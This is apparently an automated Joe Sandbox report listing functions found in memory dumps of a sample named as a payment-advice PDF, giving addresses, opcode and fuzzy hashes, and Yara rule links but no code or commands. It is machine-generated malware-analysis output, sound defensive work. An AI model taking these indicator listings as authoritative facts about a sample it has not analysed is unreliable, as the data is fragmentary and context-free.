String ID: TkH7
API String ID: 0-2712929066
Opcode ID: 0e2f7a9ea06f62b563fd0b86d09072a39e32d476170dbd382b854ba09b20b91b
Instruction ID: 3ce3b2ff3e8f6f8a4aea806756775ba821fa5cc55e15b57c12127a477a50aa53
Opcode Fuzzy Hash: 0e2f7a9ea06f62b563fd0b86d09072a39e32d476170dbd382b854ba09b20b91b
Instruction Fuzzy Hash: 4731A375B003058FDB2CCB66C4506AEBBF26F88750F50442ED442B7390EB35E906DBA1

Function 3752CF59 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

TkH7, xrefs: 3752CFE0

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: TkH7
API String ID: 0-2712929066
Opcode ID: be0b4f94a1aa24106af4c5fdf987122e74c2ca1844db25d8476b64a746907c21
Instruction ID: 95c951eaf53e3f7bde3b1b113479f17c1c4ce945b3d53c360e38f20b8e13e799
Opcode Fuzzy Hash: be0b4f94a1aa24106af4c5fdf987122e74c2ca1844db25d8476b64a746907c21
Instruction Fuzzy Hash: 4F21E375A003448FDB2CCB76C5606FEBBF2AF88350F14842ED442A7791DA35A906DB61

Function 375295E8 Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

jH7, xrefs: 375295E8

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: jH7
API String ID: 0-3993120642
Opcode ID: ef36e53f153ac1aee8898badd071f4de896fa390e5ed0b046b429d7de592a646
Instruction ID: 355626fc29d084125b731163dc97facc25d31423c42c0415b03ce59c25d32af1
Opcode Fuzzy Hash: ef36e53f153ac1aee8898badd071f4de896fa390e5ed0b046b429d7de592a646
Instruction Fuzzy Hash: 93F02831E442089FDB05DFA8C9447AFBBB1FB8D320F00452AD405A7690DB34E545DBD1

Function 00166C98 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69b73d6c36d7a62963a91cf169d2254e4eda898bcac535ca34c8863901fd880d
Instruction ID: d6a32c4819b2aa5e176eba88fe4695141d6d344eb89e475409ff28ba39c5b822
Opcode Fuzzy Hash: 69b73d6c36d7a62963a91cf169d2254e4eda898bcac535ca34c8863901fd880d
Instruction Fuzzy Hash: 7A713834700605CFCB14DF68CC94A6E7BE6AF89701B1940A9E806CB3B1DB76EC61CB91

Function 3752CC28 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a051a56aaff20e168f58ede429a90ead1c020e9ca9bcb3eb32febc1f5404f97
Instruction ID: 086626c4aec919b6e4285f20327a840eddc77dba08db7018013ecf0b54157c60
Opcode Fuzzy Hash: 1a051a56aaff20e168f58ede429a90ead1c020e9ca9bcb3eb32febc1f5404f97
Instruction Fuzzy Hash: 3E519174E00218DFDB54DFA9C990A9DBBB2FF88310F208169D419BB365DB31A986CF50

Function 00163168 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2515a27e7dae853f0e98e95e49dfec418f2add8e792e774e31f7501ab568120a
Instruction ID: 555f7a619bc727eb06e28b91f8709bfe0ca72c4cbf2eff8a3e8d09f9913e364e
Opcode Fuzzy Hash: 2515a27e7dae853f0e98e95e49dfec418f2add8e792e774e31f7501ab568120a
Instruction Fuzzy Hash: C551B674E11208DFCB48DFA9D99499DBBF2FF89304B209069E419BB324DB35A942CF50

Function 001692C3 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c0a4110e5cd7f10b69bc331d7ff195090573154966c7df37e3b258c13aa251d
Instruction ID: 93b153094e7498b81935dea111641bd22087adbc234b61f4a8a3a10e4586b658
Opcode Fuzzy Hash: 5c0a4110e5cd7f10b69bc331d7ff195090573154966c7df37e3b258c13aa251d
Instruction Fuzzy Hash: 6A41BE31A04249DFCF15CFA5CC84AADBBB6FF89310F018156E8119F2A2D731E965CB90

Function 00168BF0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5a6eb6465b9d1d76ad6b5e79bf153386184e06ebd11c6e2c95c19d315032d85
Instruction ID: cbec5c75ff8884fa21ceba2e0c6f9bd724ed44de8be4a6617cf09015e0da6ce9
Opcode Fuzzy Hash: b5a6eb6465b9d1d76ad6b5e79bf153386184e06ebd11c6e2c95c19d315032d85
Instruction Fuzzy Hash: 32317C306012458FEB04DF6DCC44BAA7BA6EF89300F14C562ED09CB256EB70DD55DBA5

Function 00164620 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58857482c61b00ace57940943d701170f11d098669ba586859ebf65580c26cb6
Instruction ID: ade7a5958b6a47fe324b1644ec7a7afd82ccfeef59771b6000ba2f12c3eacfce
Opcode Fuzzy Hash: 58857482c61b00ace57940943d701170f11d098669ba586859ebf65580c26cb6
Instruction Fuzzy Hash: 1631A131204149AFCF159FA5DC95AAE3BA2FF89300F004025F91597255CF35DE62DFA1

Function 0016B1B7 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39e34e81ad8756c6124944cdb53c7041d3f4da0cab62a216ee41aa30ae855e29
Instruction ID: 6453d5863112f56cd1787f7fdcfd98359e7d2694d5c8f963004c87e854eb9d91
Opcode Fuzzy Hash: 39e34e81ad8756c6124944cdb53c7041d3f4da0cab62a216ee41aa30ae855e29
Instruction Fuzzy Hash: EF314C30C142199ECB10EFF8E8586EDBBB4FF0B311F409519E459B7110EB306AAACB50

Function 00166F40 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b234496c88b199f9f5f6859a4836d5723fffed4aeefc86f20450beab9898738
Instruction ID: bea587fd74e5df0cf5b21774c409e2d2230a870b2d92d93ef3b898b87da12d1d
Opcode Fuzzy Hash: 1b234496c88b199f9f5f6859a4836d5723fffed4aeefc86f20450beab9898738
Instruction Fuzzy Hash: 1A21CF313082018BDB191625DCA463B2697AFC676CB148439E406CBBD8EB76CC92D3A1

Function 001618C8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccd9b9849e5a0dca93811661d4458b61c1ab49c6e1f7ece584b670f186feab8b
Instruction ID: 04deba68ca19f9f45492d3650ecbdbc6038769b457bfd13babdcfd74d4a75a5b
Opcode Fuzzy Hash: ccd9b9849e5a0dca93811661d4458b61c1ab49c6e1f7ece584b670f186feab8b
Instruction Fuzzy Hash: AB21B071A00106AFCB14DF34C8509AE37A5EB99768B14C019D84E9B240EF34EE07CBD2

Function 0009D3F0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933078340.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05bdc8ed32c5caa6eb4e48e67a706f71428d9b77122fd3934da1a2da71571db3
Instruction ID: a8b372bf0da0b657d2bd1fc1777f64a67a69b192f3eebbadb95a54a230fb4605
Opcode Fuzzy Hash: 05bdc8ed32c5caa6eb4e48e67a706f71428d9b77122fd3934da1a2da71571db3
Instruction Fuzzy Hash: 15213A71584200DFCF15DF14D9C0B2BBFA5FB94314F24C56AD9094B256C336E856EBA2

Function 001652C8 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f2298c75def5199cfedbec1a2723fdc0e1585791fe6e2a7a312e025870c13b
Instruction ID: 28c0a23b6ea00fccfeba39a63412ec60ba228b6828187cf8191cc2904b85805c
Opcode Fuzzy Hash: d0f2298c75def5199cfedbec1a2723fdc0e1585791fe6e2a7a312e025870c13b
Instruction Fuzzy Hash: CA21F031300A128FC7289B2ADCA492EB7A3BF89B95B154139E916DB754CF70DC02CBD0

Function 0016B2C2 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb80020a0c86fbb25241eedd08bc09f4a2225fe72a9e7eec02a94b05f3a0139
Instruction ID: badedccaa3b55a9dc540d56819c742ff0a3a058e537f52279a2b2a05b121270f
Opcode Fuzzy Hash: 9fb80020a0c86fbb25241eedd08bc09f4a2225fe72a9e7eec02a94b05f3a0139
Instruction Fuzzy Hash: 7E110476B0C3515FDB229B354C98A6F7BD6BF8631871484BDD505CB262EF61CC428782

Function 000AD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933109410.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ad000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 867bdc104b9fdf13748c1dba1d958e5fe823317b2dade7d2fd060270355a4f7d
Instruction ID: e89f49bf16575e18074979d6e38091d05812a4e43552af7c0281eda408d09cc0
Opcode Fuzzy Hash: 867bdc104b9fdf13748c1dba1d958e5fe823317b2dade7d2fd060270355a4f7d
Instruction Fuzzy Hash: 68213471604200EFCB20DF94D9C0F2ABBA1EB85314F24C56ED94A4B656C33AD847CA62

Function 00160EC8 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48c2e964d2816e740964de2468adc1664147a79e4a004a564c01d346ad690dd3
Instruction ID: 50d4d33ce4b73fa1318a2659afe6249bfe2dfc06887fe36765e6bca5e16911e1
Opcode Fuzzy Hash: 48c2e964d2816e740964de2468adc1664147a79e4a004a564c01d346ad690dd3
Instruction Fuzzy Hash: ED217174E042099FDB09EFB9C4406AEB7B2EF8A304F1084B9D804AB395DB749D46CF51

Function 0016324D Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 140fd4c681179ac8d2835656995c3e2168befd3695b693f1098e0724f857a0d1
Instruction ID: 04950fdf2cef87d5ab2d6747cb6155676a619a700afc4d7cacae6ab076e5b4e1
Opcode Fuzzy Hash: 140fd4c681179ac8d2835656995c3e2168befd3695b693f1098e0724f857a0d1
Instruction Fuzzy Hash: B131BA74E11309DFCB44DFA8D59489DBBB2FF49305B204069E819AB364DB31AD46CF51

Function 001617B8 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3e84ec04cb2f440c0c0fe0e53989e8283079da342968ebc84bc3900087029a6
Instruction ID: 1ead92e553ab9d621ffdd59b0bd997711451eed1840d052293282615e44908a9
Opcode Fuzzy Hash: e3e84ec04cb2f440c0c0fe0e53989e8283079da342968ebc84bc3900087029a6
Instruction Fuzzy Hash: 9D211674D052499FCB02DFB9D8445EEBFF4EF0A300F0541AAD445B7261EB305A95CBA1

Function 00168729 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ce8bf1c230ea73826c4dd4ca3bbcbd417d97a31a27b45ce0058106cec1889ac
Instruction ID: fc269723adb41fab7d6ae6285a64985a6537eac1f4d9506bec9156e5607205bf
Opcode Fuzzy Hash: 5ce8bf1c230ea73826c4dd4ca3bbcbd417d97a31a27b45ce0058106cec1889ac
Instruction Fuzzy Hash: 16214C74E012499FCB15CFA5D950AEEBFB6AF48301F248169E415F72A0DB34DA81DFA0

Function 0016FE60 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 301c35e0e5ed982034d70ceb8a6f60e052dd7715d9c66af6a005af2a989a16a1
Instruction ID: 85fdef9143ab150b043dfb02ece6c882521347dcbefadb7b744243eee32efed4
Opcode Fuzzy Hash: 301c35e0e5ed982034d70ceb8a6f60e052dd7715d9c66af6a005af2a989a16a1
Instruction Fuzzy Hash: B72109B4E04209DFDB04DFA8D984AADBBF1BF4A300F1184AAD455A7361D734AE54CF91

Function 3752B9C7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa46dc62481242eae6b2f8f6b415c306e62d305ee42c4d63a10c11c620b9e73e
Instruction ID: 987c4cb2c1959824b82e83c51b631a5138906d08f9fc95c94c20198252cafe73
Opcode Fuzzy Hash: aa46dc62481242eae6b2f8f6b415c306e62d305ee42c4d63a10c11c620b9e73e
Instruction Fuzzy Hash: 99212678D0020ADFDB00DFA5D8947EEBBB1FB48300F10882AD511B32A0EB345A46CF91

Function 3752B9C8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87592ee66f2563cbbfa4c4e744a17ee1191c1e29ced0b7a18a7a877808b34e4b
Instruction ID: 987c4cb2c1959824b82e83c51b631a5138906d08f9fc95c94c20198252cafe73
Opcode Fuzzy Hash: 87592ee66f2563cbbfa4c4e744a17ee1191c1e29ced0b7a18a7a877808b34e4b
Instruction Fuzzy Hash: 99212678D0020ADFDB00DFA5D8947EEBBB1FB48300F10882AD511B32A0EB345A46CF91

Function 0009D3EB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933078340.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e30d8c23d169001941ea9aa459473fa7ec8b4af4ddb27b59cb516a26a12e2698
Instruction ID: 15cd629cd4ad76d09e1ef366708f22eb37b9468ecf34fa27c2def413d4e53b40
Opcode Fuzzy Hash: e30d8c23d169001941ea9aa459473fa7ec8b4af4ddb27b59cb516a26a12e2698
Instruction Fuzzy Hash: 4711D376544240DFCF16CF10D5C4B56BFB1FB94324F24C5AAD8490B616C336E85ADBA2

Function 3752CE50 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485e3ad4315722a8cb35e02f9d018b9c82eb9323f1bf665f7b0bd312a71121dd
Instruction ID: 28ead9faa7789b33c0e931a148f223dab447ff2d22a598b696fec805236626d1
Opcode Fuzzy Hash: 485e3ad4315722a8cb35e02f9d018b9c82eb9323f1bf665f7b0bd312a71121dd
Instruction Fuzzy Hash: 11018038D116448FDB05DFA8D8542EDB7B1FB8A311F909429C404A7391EB3A9901DBA1

Function 000AD02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933109410.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ad000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeeb28edeb7a7844692f5c9e5b1c86b761d25cb2a560f87f4e21d5c9dbefd6d7
Instruction ID: bad8b34923b5fca9ae4a1ea839c91f39fe9a3551cd3301db509fc3a9b6a90358
Opcode Fuzzy Hash: aeeb28edeb7a7844692f5c9e5b1c86b761d25cb2a560f87f4e21d5c9dbefd6d7
Instruction Fuzzy Hash: 6111DD75504280DFCB11CF54D5C4B15FFB2FB85314F28C6AAD84A4BA56C33AD84ACB62

Function 00164E5F Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52e4a34fa79c746cc39e19c4fe60dba9bd1c1a28bb85e1fa5b38da6441198982
Instruction ID: ad3eba40667be667c1a887da0661a66a4752853dd2fb75166f17d802c6bfe294
Opcode Fuzzy Hash: 52e4a34fa79c746cc39e19c4fe60dba9bd1c1a28bb85e1fa5b38da6441198982
Instruction Fuzzy Hash: 7E012872B041546FCF059EA5AC11AEF3BE6EBC9340B18812AF501D7291CB768E169F90

Function 3752E7F4 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6145aeedbed0be331cc1ab1e039fc4db3ce8cc0079e17dc01bb22be170a3b9d2
Instruction ID: a22943478f08ae7fe9f3f3b98ee4070a932b1c338fe8e5fc8716c17d1cb41e57
Opcode Fuzzy Hash: 6145aeedbed0be331cc1ab1e039fc4db3ce8cc0079e17dc01bb22be170a3b9d2
Instruction Fuzzy Hash: 49018C307406019FD314DF2ED48191AB7F6EF8A754305856AE00ACB776EB30ED869B90

Function 0016B2F0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1546ca59df7a4de744dbcc4859c575c0700fe5ec64eab19f196b9b95f386b7fd
Instruction ID: 51939b6ed04947604ccdaa8160251966fb92380f5db2be9d1259cb6f3f9a228e
Opcode Fuzzy Hash: 1546ca59df7a4de744dbcc4859c575c0700fe5ec64eab19f196b9b95f386b7fd
Instruction Fuzzy Hash: 8F016D36B042115BEB24AB798C8862F76EBBF846647148839D909C7324FF70CD468792

Function 00164664 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee62fee8d61ddb2bccbe67f807324c3c90864cc260f9d38f7145dad234be87b3
Instruction ID: 351531afa3d253c805d5d827159cfb8f2a79ca1cecc6ecd403cf7835d62f2087
Opcode Fuzzy Hash: ee62fee8d61ddb2bccbe67f807324c3c90864cc260f9d38f7145dad234be87b3
Instruction Fuzzy Hash: 5001D4363081059FCB19AF64EC945A97BA2FF4A3107018029F9058B265DB36CE22DF90

Function 0016FC3E Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 475b89cd51cd163ff0d1ad9db84351220974a2186260184ef75fa97ea8208038
Instruction ID: e6d877a68e8cd006e4ee8e617944449f70a2d0cb924b40df0ca350ac78193abc
Opcode Fuzzy Hash: 475b89cd51cd163ff0d1ad9db84351220974a2186260184ef75fa97ea8208038
Instruction Fuzzy Hash: F501D171900208DFDB44DFA5D9446E8BBB2EF8E300F005038EA01B7260DB329A57CFA1

Function 3752CE60 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ede87512272028ef547e36958fc015955e4cef8ca83f4f43f4ac5fb8bb6e5ba
Instruction ID: 1655c6c22d535d93e41785df57596b0ea666f5f466ed5cafdd9fe331acc0a6f1
Opcode Fuzzy Hash: 5ede87512272028ef547e36958fc015955e4cef8ca83f4f43f4ac5fb8bb6e5ba
Instruction Fuzzy Hash: BCF03734D01208CFDB08DFA9D8546EDB7B1FBCA311F90A429D408B33A1DB3A5902DB95

Function 37529608 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b8aa90c373bee13673f845963504113d0337bde692ec709b1071fafb70bb9f8
Instruction ID: c6734259e430591f127c34eadf3c00ed904ea3f2156503df31cb39708c5ebf70
Opcode Fuzzy Hash: 5b8aa90c373bee13673f845963504113d0337bde692ec709b1071fafb70bb9f8
Instruction Fuzzy Hash: 29F055203803083BD208B2AC45557BFAA9EDBC13A1F00883AE201E7399CD92EC4507F2

Function 3752943B Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 281d9f4fa316e7c2a7d956859d011ff4e7fe4092cc737d29d09a268e9bc73fe4
Instruction ID: 77eeaa7de0e55dbe109413979b4e3ac31e78e1e6abdaa89ee29e4a4ac4784d9c
Opcode Fuzzy Hash: 281d9f4fa316e7c2a7d956859d011ff4e7fe4092cc737d29d09a268e9bc73fe4
Instruction Fuzzy Hash: 4BE0D830464340CFC30497698898B28B794BF81B19B2048DBD1098BA7ADB62E4448285

Function 0016B168 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 346e9f26c9e7d9160871dffcb41431a9833f140564397125ab1ceb4692b547f9
Instruction ID: b031628376a0606ec5158cebd1554aced654f36e9b4b81c1e8087dc915b97a79
Opcode Fuzzy Hash: 346e9f26c9e7d9160871dffcb41431a9833f140564397125ab1ceb4692b547f9
Instruction Fuzzy Hash: 92E00935466F069BE2442B74BCBC27A7AB5FB0B327B846D10A04E824329B7854948B54

Function 00161877 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10c089a7674af8ba9c92f037e0279049bcfc69dad7c9771d8c9344599760e57d
Instruction ID: e90c17fb2c888e5a81af7fdb94c6663b05ac01ac7b701fec6623bfe9029b44ac
Opcode Fuzzy Hash: 10c089a7674af8ba9c92f037e0279049bcfc69dad7c9771d8c9344599760e57d
Instruction Fuzzy Hash: D8E092319113568EC7029FB0D8044EDBB30EE83710B0142A7D0546B050EB30194EC762

Function 0016FE1E Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

